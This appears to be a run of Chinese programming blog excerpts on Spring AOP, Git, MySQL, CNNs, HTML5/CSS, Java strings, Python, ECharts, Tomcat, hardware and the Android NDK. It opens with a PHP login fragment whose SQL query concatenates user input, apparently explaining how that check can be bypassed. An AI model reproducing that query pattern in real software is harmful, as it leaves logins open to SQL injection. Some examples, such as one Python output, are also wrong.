要这个语句成立才行,也就是说这个 $result 变量要使得这个函数的返回值大于零。 那 $result 怎么来的呢? $result=mysqli_query($link,$sql); 这个语句意思是要在数据库中查到$sql这个数据,然后函数返回一个地址保存在result这个变量里。前面的参数是用来连接数据库的。 那这个 $sql 怎么来的呢? $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '"

Java - 你如何理解AOP中的连接点(Joinpoint)、切点(Pointcut)、增强(Advice)、引介(Introduction)、织入(Weaving)、切面(Aspect)这些概念?

原地址:https://blog.csdn.net/u011230736/article/details/77765576 a. 连接点(Joinpoint):程序执行的某个特定位置(如:某个方法调用前、调用后,方法抛出异常后)。一个类或一段程序代码拥有一些具有边界性质的特定点,这些代码中的特定点就是连接点。Spring仅支持方法的连接点。 b. 切点(Pointcut):如果连接点相当于数据中的记录,那么切点相当于查询条件,一个切点可以匹配多个连接点。Spring AOP的规则解析引擎负责解析切点所设定的查询条件,找到对应的连接点。 c. 增强(Advice):增强是织入到目标类连接点上的一段程序代码。Spring提供的增强接口都是带方位名的,比如:BeforeAdvice、AfterReturningAdvice、ThrowsAdvice等。很多资料上将增强译为“通知”,这明显是个词不达意的翻译,让很多程序员困惑了许久。 说明: Advice在国内的很多书面资料中都被翻译成"通知",但是很显然这个翻译无法表达其本质,有少量的读物上将这个词翻译为"增强",这个翻译是对Advice较为准确的诠释,我们通过AOP将横切关注功能加到原有的业务逻辑上,这就是对原有业务逻辑的一种增强,这种增强可以是前置增强、后置增强、返回后增强、抛异常时增强和包围型增强。 d. 引介(Introduction):引介是一种特殊的增强,它为类添加一些属性和方法。这样,即使一个业务类原本没有实现某个接口,通过引介功能,可以动态的为该业务类添加接口的实现逻辑,让业务类成为这个接口的实现类。 e. 织入(Weaving):织入是将增强添加到目标类具体连接点上的过程,AOP有三种织入方式:①编译期织入:需要特殊的Java编译器(例如AspectJ的ajc);②装载期织入:要求使用特殊的类加载器,在装载类的时候对类进行增强;③运行时织入:在运行时为目标类生成代理实现增强。Spring采用了动态代理的方式实现了运行时织入,而AspectJ采用了编译期织入和装载期织入的方式。 f. 切面(Aspect):切面是由切点和增强(引介)组成的,它包括了对横切关注功能的定义,也包括了对连接点的定义。 补充:代理模式是GoF提出的23种设计模式中最为经典的模式之一,代理模式是对象的结构模式,它给某一个对象提供一个代理对象,并由代理对象控制对原对象的引用。简单的说,代理对象可以完成比原对象更多的职责,当需要为原对象添加横切关注功能时,就可以使用原对象的代理对象。我们在打开Office系列的Word文档时,如果文档中有插图,当文档刚加载时,文档中的插图都只是一个虚框占位符,等用户真正翻到某页要查看该图片时,才会真正加载这张图,这其实就是对代理模式的使用,代替真正图片的虚框就是一个虚拟代理;Hibernate的load方法也是返回一个虚拟代理对象,等用户真正需要访问对象的属性时,才向数据库发出SQL语句获得真实对象。 下面用一个找枪手代考的例子演示代理模式的使用: /** * 参考人员接口 * */ public interface Candidate { /** * 答题 */ public void answerTheQuestions(); } /** * 懒学生 * */ public class LazyStudent implements Candidate { private String name; // 姓名 public LazyStudent(String name) { this.name = name; } @Override public void answerTheQuestions() { // 懒学生只能写出自己的名字不会答题 System.out.println("姓名: " + name); } } /** * 枪手 * */ public class Gunman implements Candidate { private Candidate target; // 被代理对象 public Gunman(Candidate target) { this.

使用Git命令行clone一个项目

操作步骤 1.复制希望clone下来的HTTPS 2.在本地希望保留该项目的路径下使用git clone命令 git clone HTTPS 3.进入项目使用git remote -v 查看clone下来的是哪个仓库的项目 git remote -v,用于查看是自己的还是别人的项目,以免当有权限的时候合并出问题 4.本地对代码进行改进之后,使用git add * 修改代码之后可以使用git add * 添加上修改的文件(可以上传到github) 然后使用git commit -m "本次修改的注解" 5.提交先pull下来最新的代码 git pull origin 分支(一般是master) 一般一个项目是多人协作开发,每次提交自己的代码之前先进行pull操作是一个好习惯,因为有可能自己修改的文件和别人修改的文件重叠在一起,那么如果直接push上去的话,就会出现冲突,git那边不知道使用谁的代码,因而自己手动的pull下来检查代码是否有冲突,再push上去是一个不错的选择 6.push代码 git push origin 分支(一般是master) 扩展 当pull代码的时候发现错误:Your local changes to the following files would be overwritten by merge,说的是pull的文件和本地的文件冲突了,解决方法是:本地进行git stash 进行修改暂存,然后再pull下来即可。 git stash git pull origin master(分支名)

Storm Could not find leader nimbus from seed hosts

org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts ["xxxx"]. Did you specify a valid list of nimbus hosts for config nimbus.seeds? at org.apache.storm.utils.NimbusClient.getConfiguredClientAs(NimbusClient.java:108) at org.apache.storm.ui.core$nimbus_summary.invoke(core.clj:389) at org.apache.storm.ui.core$fn__11351.invoke(core.clj:938) at org.apache.storm.shade.compojure.core$make_route$fn__5905.invoke(core.clj:100) at org.apache.storm.shade.compojure.core$if_route$fn__5893.invoke(core.clj:46) at org.apache.storm.shade.compojure.core$if_method$fn__5886.invoke(core.clj:31) at org.apache.storm.shade.compojure.core$routing$fn__5911.invoke(core.clj:113) at clojure.core$some.invoke(core.clj:2570) at org.apache.storm.shade.compojure.core$routing.doInvoke(core.clj:113) at clojure.lang.RestFn.applyTo(RestFn.java:139) at clojure.core$apply.invoke(core.clj:632) at org.apache.storm.shade.compojure.core$routes$fn__5915.invoke(core.clj:118) at org.apache.storm.shade.ring.middleware.json$wrap_json_params$fn__10820.invoke(json.clj:56) 解决方案:启动zk 就好了..

MySQL数据库入门学习

MySQL数据库学习 SQL分类 DDL:Date Define Language 数据定义语言 操作对象:数据库和表关键词:CREATE/ALTER/DROP/TRUNCATE特性: sql语句中都会有TABLE 例如:CREATE TABLE TABLE_NAME XXX…… DROP TABLE TABLE_NAME…操作的对象是数据库和表 DML:Data Manager Language 数据操作语言 操作对象:记录(行)关键词:INSERT/UPDATE/DELETE特性: sql语句中没有TABLE 例如:INSERT INTO USER(列1,列2……) VALUES(value1,value2……) DCL:Data Controll Language 数据控制语言 操作对象:用户/事务/权限一般由数据库工程师来管理操作,开发人员使用的频率不大 DQL:Data Query Language 数据查询语言(非官方) 总结:只有是涉及到对数据库和表结构的操作,才会加上TABLE,对记录(行)的操作不需要添加TABLE SQL分类的实例 DDL:数据定义语言 CREATE:创建数据库、表…… CREATE TABLE USER( id INT UNSIGNED NOT NULL AUTO_INCREMENT COMMENT "编号", password VARCHAR(256) NOT NULL COMMENT '密码', nickName VARCHAR(32) NOT NULL COMMENT '昵称', bio VARCHAR(256) COMMENT '简介' PRIAMRY KEY(id) ) ALTER:修改表、字段…… 修改表名(rename) ALTER TABEL 原表名 RENAME 新表名 添加新的列 (add) ATTER TABLE table_name ADD cloumn_name datatype 例如: ALTER TABLE USER ADD sid VARCHAR(128) NOT NULL COMMENT 'Cookie' 删除列、删除索引(drop) ALTER TABLE table_name DROP COLUNM column_name ALTER TABLE table_name DROP INDEX index_name 例如: ALTER TABLE USER DROP COLUMN sid1 修改已经存在的列的属性(modify) ALTER TABLE table_name ALTER COLUMN column_name datatype 例如: ALTER TABLE USER MODIFY COLUMN bio int COMMENT '简介' 修改已经存在的列的列名(change) ALTER TABLE table_name CHANGE COLUMN column_name new_column_name datatype 例如: ALTER TABLE USER CHANGE COLUMN id id1 INT UNSIGNED NOT NULL COMMENT '编号' DROP:删除表、数据库 *删除数据库/表

MySQL数据库学习

MySQL数据库学习 SQL分类 DDL:Date Define Language 数据定义语言 操作对象:数据库和表关键词:CREATE/ALTER/DROP/TRUNCATE特性: sql语句中都会有TABLE 例如:CREATE TABLE TABLE_NAME XXX…… DROP TABLE TABLE_NAME...操作的对象是数据库和表 TRUNCATE和DROP和DELETE的区别 当你不再需要该表时,用DROP当你仍要保留该表,但要删除所有记录时,用TRUNCATE(会重置一些自增的数据)当你要删除部分记录时(always with a WHERE clause),用DELETE. DML:Data Manager Language 数据操作语言 操作对象:记录(行)关键词:INSERT/UPDATE/DELETE特性: sql语句中没有TABLE 例如: INSERT INTO USER(列1,列2……) VALUES(value1,value2……) DCL:Data Controll Language 数据控制语言 操作对象:用户/事务/权限一般由数据库工程师来管理操作,开发人员使用的频率不大DQL:Data Query Language 数据查询语言(非官方) 总结:只有是涉及到对数据库和表结构的操作,才会加上TABLE,对记录(行)的操作不需要添加TABLE SQL分类的实例 DDL:数据定义语言 CREATE:创建数据库、表…… CREATE TABLE USER( id INT UNSIGNED NOT NULL AUTO_INCREMENT COMMENT "编号", password VARCHAR(256) NOT NULL COMMENT '密码', nickName VARCHAR(32) NOT NULL COMMENT '昵称', bio VARCHAR(256) COMMENT '简介' PRIAMRY KEY(id) ) ALTER:修改表、字段…… 修改表名(rename) ALTER TABEL 原表名 RENAME 新表名 添加新的列 (add) ATTER TABLE table_name ADD cloumn_name datatype 例如: ALTER TABLE USER ADD sid VARCHAR(128) NOT NULL COMMENT 'Cookie' 删除列、删除索引(drop) ALTER TABLE table_name DROP COLUNM column_name ALTER TABLE table_name DROP INDEX index_name 例如: ALTER TABLE USER DROP COLUMN sid1 修改已经存在的列的属性(modify) ALTER TABLE table_name ALTER COLUMN column_name datatype 例如: ALTER TABLE USER MODIFY COLUMN bio int COMMENT '简介' 修改已经存在的列的列名(change) ALTER TABLE table_name CHANGE COLUMN column_name new_column_name datatype 例如: ALTER TABLE USER CHANGE COLUMN id id1 INT UNSIGNED NOT NULL COMMENT '编号' DROP:删除表、数据库 *删除数据库/表

学习笔记之——基于深度学习的分类网络

之前博文介绍了基于深度学习的常用的检测网络《学习笔记之——基于深度学习的目标检测算法》,本博文为常用的CNN分类卷积网络介绍,本博文的主要内容来自于R&C团队的成员的调研报告以及本人的理解~如有不当之处,还请各位看客赐教哈~好,下面进入正题。 目录 引言 分类网络 LeNet 网络结构 测试结果 总结 AlexNet 网络结构 测试结果 网络特点 总结 ZFNet 网络结构 网络特点 训练与测试结果 总结 VGGNet 网络结构 网格特点 训练与测试结果 总结 GoogLeNet Inception-v1 Inception-v2 Inception-v3 总结 ResNet 网络结构 Residual Block 训练与测试结果 引言 卷积神经网络(CNN)又称卷积网络,通常用做处理图像序列。经典的CNN层包括三个层次,卷积层、激活函数和池化层。通常在输出之前有几个完全连接的层来集成数据并完成分类。本博文将介绍几种经典的分类卷积网络:LeNet-5、AlexNet、ZFNet、VGGNet、GoogLeNet、ResNet。 分类网络 LeNet LeNet-5由Yann LeCun等人于1989年提出,它是一种用于手写体字符识别的非常高效的卷积神经网络,推动了深度学习领域的发展。LeNet5通过巧妙的设计,利用卷积、参数共享、池化等操作提取特征,避免了大量的计算成本,最后再使用全连接神经网络进行分类识别,这个网络是卷积神经网络架构的起点,后续许多网络都以此为范本进行优化。 LeNet-5共有7层,不包含输入,每层都包含可训练参数;每个层有多个特征映射(feature map),每个feature map通过一种卷积滤波器(filter)提取输入的一种特征,最终经过全连接层和Softmax函数完成分类。 网络结构 INPUT层-输入层:首先是数据 INPUT 层,输入图像(0~9的手写体数字)的尺寸统一归一化为32*32,使背景级别(白色)对应-0.1,前景(黑色)对应1.175。这使得输入平均值约为0,而方差约为1,目的是加速学习。32*32的图像大小比MNIST数据集的图片要大一些,这么做的原因是希望潜在的明显特征如笔画断点或角能够出现在最高层特征检测子感受野(receptive field)的中心。因此在训练整个网络之前,需要对28*28的图像加上paddings(即周围填充0)。 C1层-卷积层 输入图片:32*32 卷积核大小:5*5 卷积核种类:6 输出feature map大小:28*28 *注: 输入维度n×n,卷积核大小f×f,填充p,步长s,则输出维度为: 可训练参数:(5*5+1) * 6(每个滤波器5*5=25个unit参数和一个bias参数,一共6个滤波器) 连接数:(5*5+1)*6*28*28=122304 S2层-池化层(下采样层) 输入:28*28 采样区域:2*2 采样方式:4个输入相加,乘以一个可训练参数,再加上一个可训练偏置。结果通过sigmoid。 *注:sigmoid函数: 采样种类:6 输出featureMap大小:14*14 连接数:(2*2+1)*6*14*14 S2中每个特征图的大小是C1中特征图大小的1/4。 详细说明:第一次卷积之后紧接着就是池化运算,分别对2*2大小的区域进行池化,于是得到了S2,6个14*14的特征图。S2这个pooling层是对C1中的2*2区域内的像素求和并乘以一个权值系数再加上一个偏置,然后将这个结果再做一次映射。Pooling层的主要作用就是减少数据,降低数据维度的同时保留最重要的信息。在数据减少后,可以减少神经网络的维度和计算量,也可以防止参数太多过拟合。

h5测试

<input type="search"/>当点击输入框中的"x"时,输入框中的内容会被删除。 <meter></meter> <!DOCTYPE html> <html> <body> <p>显示度量值:</p> <meter value="3" min="0" max="10">3/10</meter><br> <meter value="0.6">60%</meter> <p><b>注释:</b>Internet Explorer 不支持 meter 标签。</p> </body> </html> menu:目前所有主流浏览器都不支持。用来定义命令的列表或菜单。 h5不基于DTD,h5不需要引用DTD。 表单中最大值对应的是rangeOverflow。

CSS3 新属性篇(五):background-size属性

目录: background-size属性介绍演示代码background-size属性分析 设置固定尺寸的背景图片背景图片的宽高是根据自身所属元素的宽高以百分比进行缩放背景图片扩展并覆盖填充满整个所属元素区域背景图片尺寸宽度和高度完全适应内容区域 一、background-size属性介绍 CSS3 的 background-size 属性能调整背景图片的大小,从而替代了用原始大小显示图片的默认行为。你可以随意的缩放背景图。 用法:background-size: length|percentage|cover|contain; length:设置背景图片高度和宽度。第一个值设置宽度,第二个值设置的高度。如果只给出一个值,第二个是设置为 auto(自动)percentage:将计算相对于背景定位区域的百分比。第一个值设置宽度,第二个值设置的高度。如果只给出一个值,第二个是设置为"auto(自动)"cover:此时会保持图像的纵横比并将图像缩放成将完全覆盖背景定位区域的最小大小。contain:此时会保持图像的纵横比并将图像缩放成将适合背景定位区域的最大大小。 二、演示代码 背景图尺寸为220px*214px: 演示代码为: <style> div{ border: black 2px solid; width: 300px; height: 200px; background: url("img4.jpg") no-repeat; } </style> 三、background-size属性分析 1、设置固定尺寸的背景图片 1)、background-size: 800px 300px; 设置背景图片的宽高比与图片本身的宽高比不同,导致图片出现变形;同时设置背景图片的尺寸远远超出了div本身定义的尺寸,超出的部分被隐藏了。 2)、background-size: 100px 200px; 设置背景图片的宽度远远小于自身的宽度,图片被压缩;同时小于div本身的宽度,无法覆盖全部的div,出现留白。 2、背景图片的宽高是根据自身所属元素的宽高以百分比进行缩放 1)、background-size: 100% 100%; 完全填满所属元素的区域,但是应该宽高的比例图片出现了变形。 2)、background-size: 50% 20%; 填充所属元素的宽50% 高20%的区域,图片出现变形。 3、背景图片扩展并覆盖填充满整个所属元素区域 1)、background-size: cover; 如果背景图片尺寸大于所属元素尺寸,则背景图片不进行方法,正常显示,超出部分被隐藏。 如果背景图片尺寸小于所属元素尺寸,则背景图片进行等比例放大(图片不会出现变形),直至完全覆盖所属元素区域,超出部分被隐藏。 优点是背景图片全部覆盖所属元素区域;缺点是超出的部分会被隐藏。 4、背景图片尺寸宽度和高度完全适应内容区域 1)、background-size: contain; 对背景图片进行等比例的放大/缩小处理,直至背景图片能够完完整整的展示出来。 优点是图片不会出现变形,同时背景图片被完全展示出来;缺点是当所属元素的宽高比与背景图片的宽高比不同时,会出现背景留白。

关于String str1="123"与String str2=new String("123")类问题详解

要彻底弄明白这个问题,我们需要清楚一些基本概念: Class文件中的常量池运行时常量池(runtime constant pool)全局字符串池(StringTable)Java heap一些常用字节码以及常量池中的常量类型等 jvm 的知识 Class 文件常量池:JVM 会为我们每个类对应生成一个常量池,常量池可以理解为 Class 文件之中的资源仓库,它是 Class文件结构中与其他项目关联最多的数据类型,也是占用 Class 文件空间最大的数据项目之一,同时它还是在 Class 文件中第一个出现的表类型数据项目。Class 文件被加载之后,Class 文件常量池就变成了运行时常量池。 全局字符串池:全局字符串池里的内容是在类加载完成,经过验证,准备阶段之后在堆中生成字符串对象实例,然后将该字符串对象实例的引用值存到string pool中(记住:string pool中存的是引用值而不是具体的实例对象,具体的实例对象是在堆中开辟的一块空间存放的。)。 在HotSpot VM里实现的string pool功能的是一个StringTable类,它是一个哈希表,里面存的是驻留字符串(也就是我们常说的用双引号括起来的)的引用(而不是驻留字符串实例本身),也就是说在堆中的某些字符串实例被这个StringTable引用之后就等同被赋予了”驻留字符串”的身份。这个StringTable在每个HotSpot VM的实例只有一份,被所有的类共享。 Java heap:对大多数应用来说,Java heap 是 JVM 所管理的内存中最大的一块,是被所有线程共享的一块内存区域,在虚拟机启动时创建。此内存区域的唯一作用即使存放对象,几乎所有对象实例都在这里分配(随着JIT编译器的发展与逃逸分析技术逐渐成熟,所有对象都在堆上分配变得不那么绝对了)。 概念介绍完毕,进入正题,先来看一段代码: String str1 = new String("12"); String str2 = "12"; System.out.println(str2 == str1); 这段代码创建了几个String实例? 结论是两个,如果单独来看的话 String str1 = new String("12");会创建两个,String str2 = "12"只创建一个 创建了哪些对象呢,下面通过常量池来分析 这段代码返回结果是 false。 以下是常量池和字节码内容: 为了避免混淆,str1 和 str2 分开来查看常量池和字节码 String str1 = new String("12"): 0:new : 创建一个对象,并将其引用值压入栈顶,对应常量池中的第16行。3:dup : 复制栈顶数值并将复制值压入栈顶。4:ldc : 将 int , float 或 String 型常量值从常量池中推送至栈顶,对应常量池中的第18行。6:invokespecial : 调用超类构造方法,实例初始化方法,私有方法,对应常量池中的第20行。9:astore_1 : 将栈顶引用型数值存入第二个本地变量,这里对应 LocalVariableTable 中的 string1。10:return : 从当前方法返回 void。 我们可以看到new 的方式创建字符串会创建两个实例 ,他们分别使用字节码指令new创建出来的string对象和从常量池ldc到栈顶的字面量

Python 实现字符串反转的9种方法

在做leetcode的试题中,做到反转整数,就涉及到字符串反转,为了尽可能可以写出更多的方法,于是写下这篇文章 样例:如 a='123456789' 反转成 a='987654321' 第一种方法:使用字符串切片 >>> a='123456789' >>> a = a[::-1] '987654321' 第二种方法:使用reversed() 可读行好,但速度较慢 >>> ''.join(reversed('123456789')) '987654321' 封装使用 def reversed_string(a_string): return a_string[::-1] >>> reversed_string('123456789') '123456789' 注意: python的str对象中没有内置的反转函数 python字符串相关基础知识: python中,字符换是不可变,更改字符串不会修改字符串,而是创建一个新的字符串。 字符串是可切片,切片字符串会以给定的增量从字符串中的一个点(向后或向前)向另一个点提供一个新字符串。它们在下标中采用切片表示法或切片对象: # 下标通过在大括号中包含冒号来创建切片: string[start:stop:step] # 要在大括号外创建切片,您需要创建切片对 slice_obj = slice(start, stop, step) string[slice_obj] 第三种方法:循环从字符串提取数据,然后进行字符串拼接(慢) def reverse_a_string_slowly(a_string): new_string = '' index = len(a_string) while index: index -= 1 # index = index - 1 new_string += a_string[index] # new_string = new_string + character return new_string 第四种方法:循环从字符串提取数据,写入到一个空列表中,然后使用join进行字符串拼接(慢)

echarts图表在Vue中双纵轴刻度不齐

我们一般都是用的动态数据,ecarts在处理纵轴数值的时候,所以在处理这些数据时会"友好"的将纵轴分段便于分析。然而在多纵轴中容易引起麻烦,因为两个的数据差异较大,导致纵轴分段数不易很难看,即使设置了splitNum,它也会在它认为好的情况下,自顾自的进行分段。 那没办法了,我只能把它写死固定分段数,我选择固定5段,因为能整除,不能整除的情况我没有试,有人试了可以来分享一下。 首先我们需要固定最大和最小值,最小值一般是0,具体需求也可以变动,那我们就需要一个函数求值。 // data1是后端传的数据数组,展开取最大值,转为字符串,再展开取第一位数字,这样来对最大值向上取整 // 如果是小数的话 let maxArr1 = Math.max(...data1).toString().split('.')[0],根据需要判断; let maxArr1 =[...Math.max(...data1).toString()]; //最大位加以,乘上10的位数减一 次幂,比如3243,取得第一位 "3" ,转为数字3,加一,为4,再成10^(4-1),就取到4000,来做纵轴最大值,避免直接取dataMax,使最大那条数据一柱擎天,不好看 let num1 = (Number(maxArr1[0])+1)* Math.pow(10,maxArr1.length-1); //第二个纵坐标轴 let maxArr2 =[...Math.max(...data2).toString()];// data2是后端传的数据数组 let num2 = (Number(maxArr2[0])+1)*Math.pow(10,maxArr2.length-1);// 同样操作 this.option.yAxis[0].interval =num1/5;// 间隔为5份 this.option.yAxis[0].max = num1; // 赋值最大值 this.option.yAxis[1].interval =num2/5; // 间隔为5份 this.option.yAxis[1].max = num2;// 赋值最大值 其中还遇到的问题,就是从网上查的,都是在options前设置的max,和interval,而在vue中我们的max依赖于后台传的数据,所以无法在data的return前定义,那怎么不再return前请求这个数据的,因为请求需要传的参数要从data中拿啊,在return前拿不到return中的数据我也很无奈。 data(){ // 在这里可以定义一些全局变量,option可以直接使用,也可以通过this.数据看来获取return的数据,但不能拿到computed的数据,反正我是没拿到 return{ option8 : { grid: { left:50, right:10, top:'20%', height:'50%' }, legend: { }, xAxis: { data: [] , silent: false, splitLine: {show: false}, splitArea: {show: false}, axisTick: { alignWithLabel: true }, axisLine: { onZero: true, lineStyle:{ color:'#16707a' } }, axisLabel:{ // interval: 0, color:'#009aa1', margin: 15, }, }, yAxis: [ { type:'value', name:'气温', max:null, min:0, interval:null, nameTextStyle:{ color:'red' }, axisLabel:{ color:'blue', margin:15, }, axisLine: { onZero: true, lineStyle:{ color:'green' } }, splitLine:{ lineStyle:{ color:'rgba(34,152,158,0.

Python数组元素添加修改与删除

数组 数组是一种有序的集合,可以随时添加和删除其中的元素。 数组定义 student=['jack','Bob','Harry','Micle'] print(student) 访问数组元素 用索引来访问list中每一个位置的元素,记得索引是从0开始的: student=['jack','Bob','Harry','Micle'] print(student) print(student[0]) print(student[3]) print(student[-1]) #访问最后一个元素 注意:当索引超出了范围时,Python会报一个IndexError错误,所以,要确保索引不要越界。 比如:print(student[4] 就会报以下错误: 添加元素 #末尾添加元素 student.append('51zxw') print(student) #指定位置添加元素 student.insert(0,'hello') print(student) 修改元素 #将hello的值变成NO.1 student[0]='NO.1' print(student) 删除元素 #删除末尾元素 student.pop() print(student) #删除指定位置元素 student.pop(1) print(student)

tomcat启动报错jar not loaded

validateJarFile(F:\ProgramDemo\shop\out\artifacts\shop_war_exploded\WEB-INF\lib\servlet-api.jar) - jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class 这里是servlet-api这个jar包加载失败,tomcat启动报错。 问题的原因:在你的tomcat安装目录下的lib的文件夹中,有一个servlet-api.jar包,而在你的项目的lib中也有一个相同的jar包。tomcat的启动逻辑是首先加载自己目录下的包,然后再加载项目lib下的包。当tomcat已经加载完自己目录下的jar包后会和项目下的jar包产生冲突。从而报错。 解决方法,删除其中的一个jar包就可以了

硬件工程师常见笔试题

一、电路分析: 1、竞争与冒险 在组合逻辑中,在输入端的不同通道数字信号中经过了不同的延时,导致到达该门的时间不一致叫竞争。因此在输出端可能产生短时脉冲(尖峰脉冲)的现象叫冒险。 常用的消除竞争冒险的方法有:输入端加滤波电容、选通脉冲、修改逻辑设计等。 2、同步与异步 同步逻辑是时钟之间有固定的因果关系。异步逻辑是各时钟之间没有固定的因果关系。 同步电路:存储电路中所有触发器的时钟输入端都接同一个时钟脉冲源,因而所有触发器的状态的变化都与所加的时钟脉冲信号同步。 异步电路:电路没有统一的时钟,有些触发器的时钟输入端与时钟脉冲源相连,只有这些触发器的状态变化与时钟脉冲同步,而其它的触发器的状态变化不与时钟脉冲同步。 异步电路不使用时钟脉冲做同步,其子系统是使用特殊的“开始”和“完成”信号使之同步; 同步就是双方有一个共同的时钟,当发送时,接收方同时准备接收。异步双方不需要共同的时钟,也就是接收方不知道发送方什么时候发送,所以在发送的信息中就要有提示接收方开始接收的信息,如开始位,结束时有停止位。 3、常用PCB画图软件: Altium公司的protel99(旧版本)、Altium Designer(新版本,中低速板最常用,功能强大,操作简单容易上手);Cadence公司的Allegro(高速板/多层板常用);MentorGraphics的PADS 4、Setup 和Hold time Setup/hold time 是测试芯片对输入信号和时钟信号之间的时间要求。建立时间是指触发器的时钟信号上升沿到来以前,数据稳定不变的时间。输入信号应提前时钟上升沿(如上升沿有效)T时间到达芯片,这个T就是建立时间-Setup time.如不满足setup time,这个数据就不能被这一时钟打入触发器,只有在下一个时钟上升沿,数据才能被打入触发器。保持时间是指触发器的时钟信号上升沿到来以后,数据稳定不变的时间。如果hold time不够,数据同样不能被打入触发器。 5、IC设计中同步复位与异步复位的区别 同步复位在时钟沿采集复位信号,完成复位动作。异步复位不管时钟,只要复位信号满足条件,就完成复位动作。 异步复位对复位信号要求比较高,不能有毛刺,如果其与时钟关系不确定,也可能出现亚稳态。 6、常用的电平标准 TTL: transistor-transistor logic gate晶体管-晶体管逻辑门 CMOS:Complementary Metal Oxide Semiconductor互补金属氧化物半导体 LVTTL(Low Voltage TTL)、LVCMOS(Low Voltage CMOS):3.3V、2.5V RS232、RS485 7、TTL电平与CMOS电平 TTL电平和CMOS电平标准 TTL电平: 5V供电 输出 L: <0.4V ; H:>2.4V 1 输入 L: <0.8V ; H:>2.0V 0 CMOS电平:(一般是12V供电) 输出 L: <0.1*Vcc ; H:>0.9*Vcc 输入 L: <0.3*Vcc ; H:>0.7*Vcc. CMOS电路临界值(电源电压为+5V) VOHmin =4.

SAP S/4 HANA 1809请查收

更多内容关注公众号:SAP Technical 点击进入:SAP S/4 HANA 1809请查收 SAP S/4 HANA是一种智能ERP解决方案,可帮助公司抓住当今数字世界中的每一个机会,消除了与传统ERP应用相关的常见障碍,例如批量延迟,复杂环境和手动驱动流程。利用智能ERP系统,通过灵活性,速度和洞察力来应对当今的挑战和未来的机遇。 通过利用机器学习进行物流,制造和资产管理,提高整个数字供应链的可见性和灵活性。将智能应用与机器学习结合使用,以改善供应商管理,简化采购,并部署协作采购和合同管理。全面了解运营情况并利用客户洞察力帮助营销,销售和服务团队更高效地工作,增加收入的机会。通过自定义核心系统满足客户的个人组织的特定需求,而无需集成和自定义编码的典型做法。 2018年,SAP S/4 HANA的另一个里程碑!SAP S/4 HANA 1809发布了!自SAP S/4 HANA 1709发布以来,SAP已经做了大量的创新,并且逐步走向了智能系统的道路上。 更多内容请关注公众号:SAP Technical

H5标签变化1(DTD、新增标签:结构标签,多媒体标签,web应用标签还有其他标签、删除标签、重定义标签)

h5新增标签 html5约等于HTML+CSS+Javascript+API WebApp HTML5新增了离线存储、更丰富的表单、js线程、socket、标准扩展embed、css3... 流媒体与多媒体引擎 Audio、video、Canvas、webgl等等 搜索引擎和无障碍领域 h5是唯一一个通吃PC、Mac、iPhone、Android等主流平台的跨平台语言。 标签变化 DTD、新增的标签、删除的标签、重定义的标签 页面布局 新的页面布局、区别和意义 属性变化 input、表单属性、链接属性、其他属性 HTML5展望 简述API、简述Canvas、移动端应用 支持H5的浏览器有:IE9+、Firefox、Opera、Sadari、Chrome 文档类型定义(DTD): DTD:可定义合法的xml文档构建模块,它使用一系列合法的元素来定义文档的结构。 在HTML中:DTD规定了标记语言的规则,这样浏览器才能正确地呈现内容。 HTML5中:不基于SGML,所以不需要引用DTD. 新增的标签: 结构标签多媒体标签web应用标签其他标签 结构标签(块状元素)——有意义的div <article> <header> <nav> <section> <aside> <hgroup> <figure>标记定义一组媒体内容以及它们的标题。<figcaption>定义figure元素的标题。<footer> <dialog> <section> <hgroup> <h1>树下的猫</h1> <h3>文/艾米</h3> <h4> 三头王:异域王族,拥有蜘蛛头、人头、狮子头的三头大蜘蛛,修炼万蛛魔功、狮子吼、无畏狮子印等,其中黄金三头王为其王族,最为强大罕见 血凰狮:堕落血凰跟古僧一脉的“无畏狮子”结合的后代</h4> </hgroup> <aside> <a href="#se1">Section One</a> <a href="#se2">Section Two</a> <a href="#se3">Section Three</a> </aside> </section> <section> <figure> <figcaption>树下的猫咪怎么生存</figcaption> <div class="video">。。。</div> </figure> </section> <section> header/section/aside/article/footer 不要互相嵌套级别高低:header/section/footer > aside/article/figure/hgroup/nav >div/figcaption 级别高的我们通常写在外层,互不嵌套。 多媒体标签: <video> 标记定义一个视频

完美解决 No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android

问题描述 好久之前的一个Android项目,最近需要重构一下 因为Android Studio的开发环境以及Gradle的版本等等都进行了一定的更新,于是导入Project以后,出现了报错: No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android 如图所示: 显然这个错误是由于Android3.0(当然也可能是更高的版本)开发环境的版本更新所导致的 相关背景 NDK,是Native Development Kit的缩写,这是 Android的一个工具开发包,与java语言没有直接的关系 Native就是指C、C++这些语言 使用NDK可以快速开发C、C++的动态库,并自动将这些so文件与其他内容一起打包成APK Android Studio环境下关于NDK的配置 先把目录切换为Project模式,点这个地方就行 然后选择local.properties文件,就是我标红的这个 可以看到这里记录了NDK和SDK在本地计算机上的存储路径 进一步分析 首先打开SDK manager 出现以下界面 这里可以看到我的NDK是已经下载好的 那么这个下载好的NDK的路径在哪里呢,或者说这个下载好的NDK究竟放在哪里呢,我们查找一下 如下图操作,打开project structure 弹出如下界面 这里就是我们NDK的路径(位置了) 把这个路径复制一下,然后在我的电脑中打开,如图所示 打开这个目录下的toolchains文件夹 可以看到,这里确实没有IDE里报错说我们需要的那种库 解决方法 打开如下链接,这是Android开发者的官方网站 https://developer.android.com/ndk/downloads/?hl=zh-cn 选择这个 点击下载 这个还是挺大的,需要等一会儿 下载完成后,解压缩,如图所示 打开这个目录下的toolchain文件夹,找到报错信息里你缺少的文件夹,比如我缺少的文件如下图所示 把这个文件夹复制到NDK所在的路径即可 打开NDK所在路径的方法上面已经说过了 大功告成

mui上拉刷新和下拉加载

